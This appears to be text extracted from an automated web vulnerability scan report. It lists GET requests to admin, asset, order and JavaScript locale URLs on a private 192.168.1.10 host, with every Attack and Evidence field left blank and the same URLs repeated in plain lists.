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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ua.
js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.uk.
js
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.zh-
CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.zh-
TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages_box.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/print_Customerlist.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/configuration.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/delete_category.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ca.js

Method GET
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Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.da.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.de.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.el.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.es.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.cs.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.da.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.de.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.el.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.fi.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.hr.js


Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.is.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.it.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ja.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.kr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.lt.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.lv.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.nb.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.pt-
BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.rs-
latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.nl.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.pt.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sl.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-
CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-
TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_assetlist.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products.php

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.tr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.ua.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_assetlist.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products.php


URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products1.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/products/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user_type.php

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products1.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/products/
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports1.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10:80//admin/ADMIN/SERVER/asset_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Audit_trail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/customer_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php
http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user_type.php


Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/

Method GET

http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10:80//admin/ADMIN/SERVER/js/
http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/


Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ca.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.es.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ar.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.bg.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ca.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.cs.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.da.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.de.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.el.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.fi.js


Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.hr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.is.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.it.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ja.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.kr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.lt.js


Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.pt-BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.rs-latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.lv.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.nb.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.nl.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.pt.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.rs.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.zh-CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.zh-TW.js

http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sl.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.tr.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ua.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.zh-TW.js


Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirm_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/delete_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.min.js

Method GET
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Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ar.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.bg.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ca.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.cs.
js

Method GET

Attack

Evidence
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URL js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.de.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ee.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.el.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.es.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fr.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.he.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hr.
js

Method GET

Attack

Evidence

